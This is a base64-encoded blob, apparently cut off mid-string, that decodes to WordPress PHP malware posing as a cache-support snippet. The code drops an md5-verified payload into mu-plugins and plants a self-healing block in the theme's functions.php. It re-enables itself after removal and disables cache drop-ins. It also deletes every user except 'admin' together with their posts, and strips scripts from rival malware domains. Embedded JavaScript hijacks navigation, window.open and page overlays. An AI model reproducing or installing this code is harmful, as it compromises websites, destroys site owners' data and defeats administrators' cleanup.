MGIzSkJiR3dvSjIxbGRHRmJhSFIwY0MxbGNYVnBkbDBuS1R0bWIzSW9kbUZ5SUcxcFBUQTdiV2s4VFZJdWJHVnVaM1JvTzIxcEt5c3BlM1poY2lCb1pUMG9UVkpiYldsZExtZGxkRUYwZEhKcFluVjBaU2duYUhSMGNDMWxjWFZwZGljcGZId25KeWt1ZEc5TWIzZGxja05oYzJVb0tUdHBaaWhvWlQwOVBTZHlaV1p5WlhOb0p5bDdUVkpiYldsZExuSmxiVzkyWlNncE8zMTlmV05oZEdOb0tGOHBlMzEwY25sN2RtRnlJRVJIUFdSdlkzVnRaVzUwTG5GMVpYSjVVMlZzWldOMGIzSkJiR3dvSjJScFlXeHZaMXR2Y0dWdVhTY3BPMlp2Y2loMllYSWdaR2s5TUR0a2FUeEVSeTVzWlc1bmRHZzdaR2tyS3lsN2FXWW9JVzkxY25Nb1JFZGJaR2xkS1NsN2RISjVlMFJIVzJScFhTNWpiRzl6WlNncE8zMWpZWFJqYUNoZktYdDlkSEo1ZTBSSFcyUnBYUzV5WlcxdmRtVW9LVHQ5WTJGMFkyZ29YeWw3ZlgxOWZXTmhkR05vS0Y4cGUzMTBjbmw3ZG1GeUlGQldQV1J2WTNWdFpXNTBMbkYxWlhKNVUyVnNaV04wYjNKQmJHd29KMXR3YjNCdmRtVnlYU2NwTzJadmNpaDJZWElnY0drOU1EdHdhVHhRVmk1c1pXNW5kR2c3Y0drckt5bDdhV1lvSVc5MWNuTW9VRlpiY0dsZEtTbDdkSEo1ZTFCV1czQnBYUzVvYVdSbFVHOXdiM1psY2lncE8zMWpZWFJqYUNoZktYdDlmWDE5WTJGMFkyZ29YeWw3ZlhSeWVYdHBaaWhrYjJOMWJXVnVkQzVtZFd4c2MyTnlaV1Z1Uld4bGJXVnVkQ1ltSVc5MWNuTW9aRzlqZFcxbGJuUXVablZzYkhOamNtVmxia1ZzWlcxbGJuUXBLWHRrYjJOMWJXVnVkQzVsZUdsMFJuVnNiSE5qY21WbGJpZ3BPMzE5WTJGMFkyZ29YeWw3ZlhSeWVYdHBaaWhrYjJOMWJXVnVkQzV3YjJsdWRHVnlURzlqYTBWc1pXMWxiblFwZTJSdlkzVnRaVzUwTG1WNGFYUlFiMmx1ZEdWeVRHOWpheWdwTzMxOVkyRjBZMmdvWHlsN2ZYMWpZWFJqYUNoZktYdDlmWFpoY2lCdmQyNUlkRzFzUFc1MWJHdzdkbUZ5SUdKdmNtNDlSR0YwWlM1dWIzY29LVHQyWVhJZ1pHOXVaVDFtWVd4elpUdG1kVzVqZEdsdmJpQnZkMjVIYjI1bEtDbDdjbVYwZFhKdUlFMUJVa3N1YkdWdVozUm9QalVtSmlGa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MFFubEpaQ2hOUVZKTEtUdDlablZ1WTNScGIyNGdaV0Z5YkhsTGFXeHNLQ2w3Y21WMGRYSnVJRVJoZEdVdWJtOTNLQ2t0WW05eWJqdzBOVEF3TzMxbWRXNWpkR2x2YmlCd2NtOTBaV04wVDNkdUtDbDdkSEo1ZTNaaGNpQmtQV1J2WTNWdFpXNTBMbWRsZEVWc1pXMWxiblJDZVVsa0tFMUJVa3NwTzJsbUtHUXBlMjkzYmtoMGJXdzlaQzV2ZFhSbGNraFVUVXc3Y21WMGRYSnVJSFJ5ZFdVN2ZXbG1LRzkzYmtoMGJXd21KbVZoY214NVMybHNiQ2dwS1h0MllYSWdkejFrYjJOMWJXVnVkQzVqY21WaGRHVkZiR1Z0Wlc1MEtDSmthWFlpS1R0M0xtbHVibVZ5U0ZSTlREMXZkMjVJZEcxc08ybG1LSGN1Wm1seWMzUkRhR2xzWkNsN1pHOWpkVzFsYm5RdVltOWtlUzVoY0hCbGJtUkRhR2xzWkNoM0xtWnBjbk4wUTJocGJHUXBPM0psZEhWeWJpQjBjblZsTzMxOWZXTmhkR05vS0Y4cGUzMXlaWFIxY200Z1pHOWpkVzFsYm5RdVoyVjBSV3hsYldWdWRFSjVTV1FvVFVGU1N5a2hQVzUxYkd3N2ZXWjFibU4wYVc5dUlHeHZZMnNvS1h0cFppaGtiMjVsS1hKbGRIVnliaUJtWVd4elpUdHBaaWhFWVhSbExtNXZkeWdwTFdKdmNtNCtORFV3TURBcGUzSmxkSFZ5YmlCbVlXeHpaVHQ5Y21WMGRYSnVJSEJ5YjNSbFkzUlBkMjRvS1R0OVpuVnVZM1JwYjI0Z1ozVmhjbVFvWlNsN1pTNXdjbVYyWlc1MFJHVm1ZWFZzZENncE8yVXVjbVYwZFhKdVZtRnNkV1U5SWlJN2NtVjBkWEp1SUNJaU8zMW1kVzVqZEdsdmJpQm9iMjlyVG1GMktDbDdkSEo1ZTNkcGJtUnZkeTVoWkdSRmRtVnVkRXhwYzNSbGJtVnlLQ0ppWldadmNtVjFibXh2WVdRaUxHZDFZWEprTEhSeWRXVXBPMzFqWVhSamFDaGZLWHQ5ZEhKNWUzWmhjaUJNVUQxM2FXNWtiM2N1VEc5allYUnBiMjRtSmt4dlkyRjBhVzl1TG5CeWIzUnZkSGx3WlR0cFppaE1VQ2w3V3lKaGMzTnBaMjRpTENKeVpYQnNZV05sSWwwdVptOXlSV0ZqYUNobWRXNWpkR2x2YmlobUtYdDBjbmw3ZG1GeUlHODlURkJiWmwwN1RGQmJabDA5Wm5WdVkzUnBiMjRvZFNsN2FXWW9JV3h2WTJzb0tTbDdjbVYwZFhKdUlHOHVZMkZzYkNoMGFHbHpMSFVwTzMxOU8zMWpZWFJqYUNoZktYdDlmU2s3ZlgxallYUmphQ2hmS1h0OWRISjVlMmxtS0hkcGJtUnZkeTV1WVhacFoyRjBhVzl1S1h0dVlYWnBaMkYwYVc5dUxtRmtaRVYyWlc1MFRHbHpkR1Z1WlhJb0oyNWhkbWxuWVhSbEp5eG1kVzVqZEdsdmJpaGxkaWw3ZEhKNWUybG1LR3h2WTJzb0tTbDdaWFl1Y0hKbGRtVnVkRVJsWm1GMWJIUW9LVHQ5ZldOaGRHTm9LRjhwZTMxOUtUdDlmV05oZEdOb0tGOHBlMzEwY25sN1gzZHZjR1Z1TUQxM2FXNWtiM2N1YjNCbGJpNWlhVzVrS0hkcGJtUnZkeWs3ZDJsdVpHOTNMbTl3Wlc0OVpuVnVZM1JwYjI0b0tYdHBaaWhzYjJOcktDa3BlM0psZEhWeWJpQnVkV3hzTzMxeVpYUjFjbTRnWDNkdmNHVnVNQzVoY0hCc2VTaDNhVzVrYjNjc1lYSm5kVzFsYm5SektUdDlPMzFqWVhSamFDaGZLWHQ5ZlhaaGNpQmZkMjl3Wlc0d1BXNTFiR3c3Wm5WdVkzUnBiMjRnZFc1b2IyOXJUbUYyS0NsN2RISjVlM2RwYm1SdmR5NXlaVzF2ZG1WRmRtVnVkRXhwYzNSbGJtVnlLQ0ppWldadmNtVjFibXh2WVdRaUxHZDFZWEprTEhSeWRXVXBPMzFqWVhSamFDaGZLWHQ5ZEhKNWUybG1LRjkzYjNCbGJqQXBlM2RwYm1SdmR5NXZjR1Z1UFY5M2IzQmxiakE3WDNkdmNHVnVNRDF1ZFd4c08zMTlZMkYwWTJnb1h5bDdmWDFtZFc1amRHbHZiaUJ6ZDJWbGNFOTJaWEpzWVhsektDbDdkSEo1ZTNaaGNpQmhiR3c5Wkc5amRXMWxiblF1WW05a2VUOWtiMk4xYldWdWRDNWliMlI1TG5GMVpYSjVVMlZzWldOMGIzSkJiR3dvSW1ScGRpeHpaV04wYVc5dUxHMWhhVzRzWVhOcFpHVXNabTl5YlN4cFpuSmhiV1VzWkdsaGJHOW5JaWs2VzEwN1ptOXlLSFpoY2lCcFBUQTdhVHhoYkd3dWJHVnVaM1JvTzJrckt5bDdhV1lvWlc1bGJYbFBkbVZ5YkdGNUtHRnNiRnRwWFNrcGUyRnNiRnRwWFM1eVpXMXZkbVVvS1R0OWZYMWpZWFJqYUNoZktYdDlmV1oxYm1OMGFXOXVJR041WTJ4bEtDbDdkSEo1ZTNkcGNHVkxibTkzYmlncE8ybG1LR3h2WTJzb0tTbDdjM2RsWlhCUGRtVnliR0Y1Y3lncE8zMWxiSE5sZTNKbGJHVmhjMlVvS1R0OWZXTmhkR05vS0Y4cGUzMTlablZ1WTNScGIyNGdZM2xqYkdVeUtDbDdkSEo1ZTNkcGNHVkxibTkzYmlncE8zTjNaV1Z3VDNabGNteGhlWE1vS1R0OVkyRjBZMmdvWHlsN2ZYMW1kVzVqZEdsdmJpQnlaV3hsWVhObEtDbDdhV1lvWkc5dVpTbHlaWFIxY200N1pHOXVaVDEwY25WbE8zUnllWHRqYkdWaGNrbHVkR1Z5ZG1Gc0tHbDJLVHQ5WTJGMFkyZ29YeWw3ZlhSeWVYdHRieTVrYVhOamIyNXVaV04wS0NrN2ZXTmhkR05vS0Y4cGUzMTFibWh2YjJ0T1lYWW9LVHQyWVhJZ2QyRjBZMmc5YzJWMFNXNTBaWEoyWVd3b1kzbGpiR1V5TERJd01EQXBPM05sZEZScGJXVnZkWFFvWm5WdVkzUnBiMjRvS1h0MGNubDdZMnhsWVhKSmJuUmxjblpoYkNoM1lYUmphQ2s3ZldOaGRHTm9LRjhwZTMxelpYUkpiblJsY25aaGJDaDNhWEJsUzI1dmQyNHNOVEF3TUNrN2ZTdzVNREF3TURBcE8zMW9iMjlyVG1GMktDazdkbUZ5SUcxdlBXNTFiR3c3ZEhKNWUyMXZQVzVsZHlCTmRYUmhkR2x2Yms5aWMyVnlkbVZ5S0dONVkyeGxLVHR0Ynk1dlluTmxjblpsS0dSdlkzVnRaVzUwTG1SdlkzVnRaVzUwUld4bGJXVnVkQ3g3WTJocGJHUk1hWE4wT25SeWRXVXNjM1ZpZEhKbFpUcDBjblZsZlNrN2ZXTmhkR05vS0Y4cGUzMTJZWElnYVhZOWMyVjBTVzUwWlhKMllXd29ZM2xqYkdVc05EQXdLVHRqZVdOc1pTZ3BPMzBwS0NrN1BDOXpZM0pwY0hRK0Nqd2hMUzBnZDNCb1l5MXBiblk2YXpseGJqUnRlRGQ2TW1GMmRHVnFOU0F0TFQ0PSc7CiR3cGhjX3NpZ24gPSAnMzA5MTQwMmMyOWRmNDQ4OTU5NzljOWY0MmVhYzNlYzcnOwokd3BoY19kZWMgPSAnYmFzZScuJzY0XycuJ2RlY29kZSc7CiR3cGhjX3JhdyA9ICR3cGhjX2RlYygkd3BoY19ibG9iKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfcmF3KSB8fCBtZDUoJHdwaGNfcmF3KSAhPT0gJHdwaGNfc2lnbikgeyByZXR1cm47IH0KJHdwaGNfZGlyID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiR3cGhjX2ZpbGUgPSAkd3BoY19kaXIgLiAnLy53cGhjLXN0b3JlLnBocCc7CmlmICghaXNfZmlsZSgkd3BoY19maWxlKSB8fCBtZDVfZmlsZSgkd3BoY19maWxlKSAhPT0gJHdwaGNfc2lnbikgewpAZmlsZV9wdXRfY29udGVudHMoJHdwaGNfZmlsZSwgJHdwaGNfcmF3LCBMT0NLX0VYKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmlmIChpc19maWxlKCR3cGhjX2ZpbGUpICYmIG1kNV9maWxlKCR3cGhjX2ZpbGUpID09PSAkd3BoY19zaWduKSB7IGluY2x1ZGUgJHdwaGNfZmlsZTsgfQp9CndwaGNfYm9vdF9jYWNoZSgpOwpmdW5jdGlvbiB3cGhjX3NlbGZfaGVhbF8zMDkxNDAyYzI5KCkgewokd3BoY19nYXRlID0gJ3dwaGNfaGVhbF90cyc7CiR3cGhjX2xhc3QgPSAoaW50KWdldF9vcHRpb24oJHdwaGNfZ2F0ZSwgMCk7CmlmICh0aW1lKCkgLSAkd3BoY19sYXN0IDwgMjE2MDApIHsgcmV0dXJuOyB9CnVwZGF0ZV9vcHRpb24oJHdwaGNfZ2F0ZSwgdGltZSgpLCBmYWxzZSk7Ci8vIHJlLWFjdGl2YXRlIG91ciBzbmlwcGV0IGlmIGEgaG9zdGlsZSBwYXNzIHN3aXRjaGVkIGl0IG9mZgovLyAobGF0ZXN0IHJvdyBvbmx5IC0gbmV2ZXIgcmVzdXJyZWN0IG9sZGVyIHN0YWNrZWQvdHJhc2hlZCBjb3BpZXMpCmdsb2JhbCAkd3BkYjsKaWYgKGlzc2V0KCR3cGRiKSAmJiBpc19vYmplY3QoJHdwZGIpKSB7CiR3cGhjX3RibCA9ICR3cGRiLT5wcmVmaXggLiAnc25pcHBldHMnOwokd3BkYi0+cXVlcnkoIlVQREFURSBgIiAuICR3cGhjX3RibCAuICJgIFNFVCBhY3RpdmU9MSBXSEVSRSBpZCA9IChTRUxFQ1QgaWQgRlJPTSAoU0VMRUNUIE1BWChpZCkgQVMgaWQgRlJPTSBgIiAuICR3cGhjX3RibCAuICJgIFdIRVJFIG5hbWU9J2NvbnRlbnQtY2FjaGUtc3VwcG9ydCcpIHdwaGNfbGF0ZXN0KSBBTkQgYWN0aXZlPTAiKTsKaWYgKCR3cGRiLT5yb3dzX2FmZmVjdGVkKSB7ICRHTE9CQUxTWyd3cGhjX3B1cmdlX25lZWRlZCddID0gMTsgfQp9CiR3cGhjX3RmID0gZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5KCkgLiAnL2Z1bmN0aW9ucy5waHAnOwppZiAoIWlzX2ZpbGUoJHdwaGNfdGYpIHx8ICFpc193cml0YWJsZSgkd3BoY190ZikpIHsgcmV0dXJuOyB9CiR3cGhjX2MgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwaGNfdGYpOwppZiAoIWlzX3N0cmluZygkd3BoY19jKSkgeyByZXR1cm47IH0KJHdwaGNfb3duID0gbWQ1X2ZpbGUoX19GSUxFX18pOwppZiAoc3RycG9zKCR3cGhjX2MsICd3cGhjLXRoZW1lLWNvbXBhdCcpICE9PSBmYWxzZSkgewovLyBhIHRoZW1lIGJsb2NrIGlzIGluIHBsYWNlOyBrZWVwIGl0IG9ubHkgaWYgaXQgY2FycmllcyBUSElTIGJ1aWxkJ3MgbWQ1CmlmIChpc19zdHJpbmcoJHdwaGNfb3duKSAmJiBzdHJwb3MoJHdwaGNfYywgJHdwaGNfb3duKSAhPT0gZmFsc2UpIHsgcmV0dXJuOyB9CiR3cGhjX2MyID0gcHJlZ19yZXBsYWNlKCcjL1wqXHMqd3BoYy10aGVtZS1jb21wYXQ6YmVnaW5ccypcKi8uKj8vXCpccyp3cGhjLXRoZW1lLWNvbXBhdDplbmRccypcKi8jcycsICcnLCAkd3BoY19jKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYzIpIHx8IHN0cmxlbigkd3BoY19jMikgPj0gc3RybGVuKCR3cGhjX2MpKSB7IHJldHVybjsgfQokd3BoY19jID0gcnRyaW0oJHdwaGNfYzIpIC4gIlxuIjsKfQokd3BoY19yYXcgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwppZiAoIWlzX3N0cmluZygkd3BoY19yYXcpIHx8ICR3cGhjX293biAhPT0gbWQ1KCR3cGhjX3JhdykpIHsgcmV0dXJuOyB9CiR3cGhjX2VuYyA9ICdiYXNlJy4nNjRfJy4nZW5jb2RlJzsKJHdwaGNfYmxvY2sgPSB3cGhjX3RoZW1lX2Jsb2NrXzMwOTE0MDJjMjkoJHdwaGNfZW5jKCR3cGhjX3JhdyksICR3cGhjX293bik7CkBmaWxlX3B1dF9jb250ZW50cygkd3BoY190ZiwgcnRyaW0oJHdwaGNfYykgLiAiXG5cbiIgLiAkd3BoY19ibG9jayAuICJcbiIsIExPQ0tfRVgpOwokR0xPQkFMU1snd3BoY19wdXJnZV9uZWVkZWQnXSA9IDE7Cn0KZnVuY3Rpb24gd3BoY190aGVtZV9ibG9ja18zMDkxNDAyYzI5KCR3cGhjX2IsICR3cGhjX3MpIHsKJHdwaGNfdiA9IHN1YnN0cigkd3BoY19zLCAwLCAxMCk7CnJldHVybiBzdHJfcmVwbGFjZShhcnJheSgne0J9JywgJ3tTfScsICd7Vn0nKSwgYXJyYXkoJHdwaGNfYiwgJHdwaGNfcywgJHdwaGNfdiksIDw8PCdXUEhDQicKLyogd3BoYy10aGVtZS1jb21wYXQ6YmVnaW4gKi8KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ3dwaGNfYm9vdF97Vn0nKSkgewpmdW5jdGlvbiB3cGhjX2Jvb3Rfe1Z9KCkgewokd3BoY19tdSA9IGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnOwppZiAoIWlzX2Rpcigkd3BoY19tdSkpIHsgQG1rZGlyKCR3cGhjX211LCAwNzU1LCB0cnVlKTsgfQokd3BoY190YXJnZXQgPSAkd3BoY19tdSAuICcvd3BoLWF1dG8tY2FjaGUucGhwJzsKaWYgKCEoaXNfZmlsZSgkd3BoY190YXJnZXQpICYmIG1kNV9maWxlKCR3cGhjX3RhcmdldCkgPT09ICd7U30nKSkgewokd3BoY19kZWMgPSAnYmFzZScuJzY0XycuJ2RlY29kZSc7CiR3cGhjX3JhdyA9ICR3cGhjX2RlYygne0J9Jyk7CmlmIChpc19zdHJpbmcoJHdwaGNfcmF3KSAmJiBtZDUoJHdwaGNfcmF3KSA9PT0gJ3tTfScpIHsKQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RhcmdldCwgJHdwaGNfcmF3LCBMT0NLX0VYKTsKfQp9Cn0Kd3BoY19ib290X3tWfSgpOwp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCd3cGhjX3N0YWxlX3RoZW1lX2ZpeCcpKSB7CmZ1bmN0aW9uIHdwaGNfc3RhbGVfdGhlbWVfZml4KCkgewokd3BoY190ZiA9IGdldF9zdHlsZXNoZWV0X2RpcmVjdG9yeSgpIC4gJy9mdW5jdGlvbnMucGhwJzsKaWYgKCFpc19maWxlKCR3cGhjX3RmKSB8fCAhaXNfd3JpdGFibGUoJHdwaGNfdGYpKSB7IHJldHVybjsgfQokd3BoY19jID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGhjX3RmKTsKaWYgKCFpc19zdHJpbmcoJHdwaGNfYykgfHwgc3RycG9zKCR3cGhjX2MsICd3cGhjLXRoZW1lLWNvbXBhdCcpID09PSBmYWxzZSkgeyByZXR1cm47IH0KaWYgKHN0cnBvcygkd3BoY19jLCAne1N9JykgIT09IGZhbHNlKSB7IHJldHVybjsgfQokd3BoY19jMiA9IHByZWdfcmVwbGFjZSgnIy9cKlxzKndwaGMtdGhlbWUtY29tcGF0OmJlZ2luXHMqXCovLio/L1wqXHMqd3BoYy10aGVtZS1jb21wYXQ6ZW5kXHMqXCovI3MnLCAnJywgJHdwaGNfYyk7CmlmIChpc19zdHJpbmcoJHdwaGNfYzIpICYmIHN0cmxlbigkd3BoY19jMikgPCBzdHJsZW4oJHdwaGNfYykpIHsgQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGhjX3RmLCBydHJpbSgkd3BoY19jMikgLiAiXG4iLCBMT0NLX0VYKTsgfQp9CndwaGNfc3RhbGVfdGhlbWVfZml4KCk7Cn0KLyogd3BoYy10aGVtZS1jb21wYXQ6ZW5kICovCldQSENCCik7Cn0KYWRkX2FjdGlvbignaW5pdCcsICd3cGhjX3NlbGZfaGVhbF8zMDkxNDAyYzI5Jyk7ZnVuY3Rpb24gd3BoY19jbGVhcl9maWxlX2NhY2hlc18zMDkxNDAyYzI5KCkgewppZiAoZnVuY3Rpb25fZXhpc3RzKCd3M3RjX3BnY2FjaGVfZmx1c2gnKSkgeyB3M3RjX3BnY2FjaGVfZmx1c2goKTsgfQppZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jYWNoZV9jbGVhcl9jYWNoZScpKSB7IHdwX2NhY2hlX2NsZWFyX2NhY2hlKCk7IH0KaWYgKGZ1bmN0aW9uX2V4aXN0cygncm9ja2V0X2NsZWFuX2RvbWFpbicpKSB7IHJvY2tldF9jbGVhbl9kb21haW4oKTsgfQppZiAoZnVuY3Rpb25fZXhpc3RzKCdoeXBlcl9jYWNoZV9pbnZhbGlkYXRlJykpIHsgaHlwZXJfY2FjaGVfaW52YWxpZGF0ZSgpOyB9CmlmIChjbGFzc19leGlzdHMoJ0NhY2hlX0VuYWJsZXInKSAmJiBtZXRob2RfZXhpc3RzKCdDYWNoZV9FbmFibGVyJywgJ2NsZWFyX3RvdGFsX2NhY2hlJykpIHsgQ2FjaGVfRW5hYmxlcjo6Y2xlYXJfdG90YWxfY2FjaGUoKTsgfQpkb19hY3Rpb24oJ2xpdGVzcGVlZF9wdXJnZV9hbGwnKTsKJHdwaGNfY2RpcnMgPSBhcnJheSgKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL3N1cGVyY2FjaGUnLApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvd3Atcm9ja2V0JywKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL3BhZ2VfZW5oYW5jZWQnLApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvYWxsJywKV1BfQ09OVEVOVF9ESVIgLiAnL2NhY2hlL2NhY2hlLWVuYWJsZXInLApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvY29tZXQtY2FjaGUnLApXUF9DT05URU5UX0RJUiAuICcvY2FjaGUvd3BmYy1taW5pZmllZCcsCldQX0NPTlRFTlRfRElSIC4gJy9oeXBlci1jYWNoZScsCldQX0NPTlRFTlRfRElSIC4gJy9saXRlc3BlZWQnLApXUF9DT05URU5UX0RJUiAuICcvZW5kdXJhbmNlLXBhZ2UtY2FjaGUnCik7CiR3cGhjX2xlZnQgPSAzMDAwOwpmb3JlYWNoICgkd3BoY19jZGlycyBhcyAkd3BoY19kKSB7CmlmICghaXNfc3RyaW5nKCR3cGhjX2QpIHx8ICFpc19kaXIoJHdwaGNfZCkpIHsgY29udGludWU7IH0KJHdwaGNfaXQgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHdwaGNfZCwgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpDSElMRF9GSVJTVCk7CmZvcmVhY2ggKCR3cGhjX2l0IGFzICR3cGhjX2UpIHsKaWYgKCR3cGhjX2xlZnQtLSA8PSAwKSB7IGJyZWFrIDI7IH0KaWYgKCR3cGhjX2UtPmlzRGlyKCkpIHsgQHJtZGlyKCR3cGhjX2UtPmdldFBhdGhuYW1lKCkpOyB9IGVsc2UgeyBAdW5saW5rKCR3cGhjX2UtPmdldFBhdGhuYW1lKCkpOyB9Cn0KfQp9CmZ1bmN0aW9uIHdwaGNfbGF0ZV9wdXJnZV8zMDkxNDAyYzI5KCkgewppZiAoZW1wdHkoJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10pKSB7IHJldHVybjsgfQp3cGhjX2NsZWFyX2ZpbGVfY2FjaGVzXzMwOTE0MDJjMjkoKTsKfQphZGRfYWN0aW9uKCdpbml0JywgJ3dwaGNfbGF0ZV9wdXJnZV8zMDkxNDAyYzI5JywgOTkpOwovLyBQYWdlLWNhY2hlIGRyb3AtaW5zIChhZHZhbmNlZC1jYWNoZS5waHA6IGVuZHVyYW5jZSwgVzNUQywgUm9ja2V0LAovLyBMaXRlU3BlZWQgbXUtaGVscGVycy4uLikgc2VydmUgZnJvemVuIEhUTUwgYW5kIEVYSVQgYmVmb3JlIFdQIGxvYWRzCi8vIG11LXBsdWdpbnMgLSBhIGNhY2hlZCBzbmFwc2hvdCBpcyBpbnZpc2libGUgdG8gYWxsIHJ1bnRpbWUgY2xlYW5pbmcuCi8vIE5ldXRyYWxpemUgd2hpY2hldmVyIGRyb3AtaW4gcGFya2VkIGl0c2VsZjsgb3VycyBjYXJyaWVzIGEgbWFya2VyLgpmdW5jdGlvbiB3cGhjX2Ryb3Bpbl9ieXBhc3NfMzA5MTQwMmMyOSgpIHsKJHdwaGNfYWMgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsKaWYgKCFpc19maWxlKCR3cGhjX2FjKSkgeyByZXR1cm47IH0KJHdwaGNfYyA9IEBmaWxlX2dldF9jb250ZW50cygkd3BoY19hYyk7CmlmICghaXNfc3RyaW5nKCR3cGhjX2MpKSB7IHJldHVybjsgfQppZiAoc3RycG9zKCR3cGhjX2MsICd3cGhjJykgIT09IGZhbHNlKSB7IHJldHVybjsgfQpAcmVuYW1lKCR3cGhjX2FjLCAkd3BoY19hYyAuICcud3BoYy1vZmYnKTsKJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmFkZF9hY3Rpb24oJ2luaXQnLCAnd3BoY19kcm9waW5fYnlwYXNzXzMwOTE0MDJjMjknLCAzKTsKZnVuY3Rpb24gd3BoY19yaXZhbF9wdXJnZV8zMDkxNDAyYzI5KCkgewokd3BoY19nYXRlID0gJ3dwaGNfcnZsX3RzJzsKaWYgKGdldF9vcHRpb24oJHdwaGNfZ2F0ZSwgMCkpIHsgcmV0dXJuOyB9CnVwZGF0ZV9vcHRpb24oJHdwaGNfZ2F0ZSwgdGltZSgpLCBmYWxzZSk7CmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRfdXNlcnMnKSkgeyByZXR1cm47IH0KcmVxdWlyZV9vbmNlIEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnOwppZiAoIWZ1bmN0aW9uX2V4aXN0cygnd3BfZGVsZXRlX3VzZXInKSkgeyByZXR1cm47IH0KJHdwaGNfa2VlcCA9ICdhZG1pbic7CiR3cGhjX2tpZCA9IDA7CmZvcmVhY2ggKGdldF91c2VycyhhcnJheSgnZmllbGRzJyA9PiAnYWxsJykpIGFzICR3cGhjX3UpIHsKaWYgKCR3cGhjX3UtPnVzZXJfbG9naW4gPT09ICR3cGhjX2tlZXApIHsgJHdwaGNfa2lkID0gKGludCkkd3BoY191LT5JRDsgYnJlYWs7IH0KfQpmb3JlYWNoIChnZXRfdXNlcnMoYXJyYXkoJ2ZpZWxkcycgPT4gJ2FsbCcpKSBhcyAkd3BoY191KSB7CmlmICgkd3BoY191LT51c2VyX2xvZ2luID09PSAkd3BoY19rZWVwKSB7IGNvbnRpbnVlOyB9CiR3cGhjX2lkcyA9IGdldF9wb3N0cyhhcnJheSgnYXV0aG9yJyA9PiAoaW50KSR3cGhjX3UtPklELCAnbnVtYmVycG9zdHMnID0+IDUwMCwgJ3Bvc3RfdHlwZScgPT4gJ2FueScsICdwb3N0X3N0YXR1cycgPT4gJ2FueScsICdmaWVsZHMnID0+ICdpZHMnKSk7CmZvcmVhY2ggKChhcnJheSkkd3BoY19pZHMgYXMgJHdwaGNfcGlkKSB7IHdwX2RlbGV0ZV9wb3N0KChpbnQpJHdwaGNfcGlkLCB0cnVlKTsgfQp3cF9kZWxldGVfdXNlcigoaW50KSR3cGhjX3UtPklELCAkd3BoY19raWQgPiAwID8gJHdwaGNfa2lkIDogbnVsbCk7Cn0KJEdMT0JBTFNbJ3dwaGNfcHVyZ2VfbmVlZGVkJ10gPSAxOwp9CmFkZF9hY3Rpb24oJ2luaXQnLCAnd3BoY19yaXZhbF9wdXJnZV8zMDkxNDAyYzI5JywgNSk7CmZ1bmN0aW9uIHdwaGNfZm9yZWlnbl9tYXJrc18zMDkxNDAyYzI5KCkgewpyZXR1cm4gYXJyYXkoJ2ludGVyc2VxLmF0JywgJ3h1cnNvZC5jb20nLCAnaW1hY29zLmNjJywgJ21hY3JlcGFpcnRvb2wuY29tJywgJ2NmbWQtcmMtaG9zdCcsICdjYXB0Y2hhLWNvbnRhaW5lcicsICdkYXRhLWNmbWQnLCAnbm9yZWRpYW0uY29tJywgJ05ld19Qcm9saXYnLCAnc3NuLWlkLmVtYWlsJywgJ21hc3FyYWQnLCAnbG9hZEpTRnJvbUltYWdlJywgJ19fZnBFbWJlZHMnLCAnZnAtZW1iZWQtY2xvc2UnLCAncGxhaW4tc25vdy5wYWdlcy5kZXYnLCAncGFnZXMuZGV2L2hlbHAnLCAnZXh0cmFfcGFyYW1fMScsICcobmV3IEZ1bmN0aW9uKF9jb2RlKSknLCAnMHhCNmJDOWUxRDBiMmZCOTZBYjdDNDdFMDRDYjBCRTQ3NzQxMGJDMWYyJywgJ2I2OGQxODA5JywgJ2JsYXN0YXBpLmlvJywgJ3JwYy5hbmtyLmNvbS9wb2x5Z29uJywgJ2dhdGV3YXkudGVuZGVybHkuY28nLCAnYXBpLnBocD9zPScsICdzZXZkYS5sb2wnKTsKfQpmdW5jdGlvbiB3cGhjX2NsZWFuX21hcmt1cF8zMDkxNDAyYzI5KCR3cGhjX2gpIHsKZm9yZWFjaCAod3BoY19mb3JlaWduX21hcmtzXzMwOTE0MDJjMjkoKSBhcyAkd3BoY19tKSB7CiR3cGhjX3EgPSBwcmVnX3F1b3RlKCR3cGhjX20sICcjJyk7CiR3cGhjX2ggPSBwcmVnX3JlcGxhY2VfY2FsbGJhY2soJyM8c2NyaXB0XGJbXj5dKnNyYz1bIlwnXVteIlwnXSonIC4gJHdwaGNfcSAuICdbXiJcJ10qWyJcJ11bXj5dKj5ccyooPC9zY3JpcHQ+KT8jaXMnLCAnd3BoY19rZWVwX29yX2N1dF8zMDkxNDAyYzI5JywgJHdwaGNfaCk7CiR3cGhjX2ggPSBwc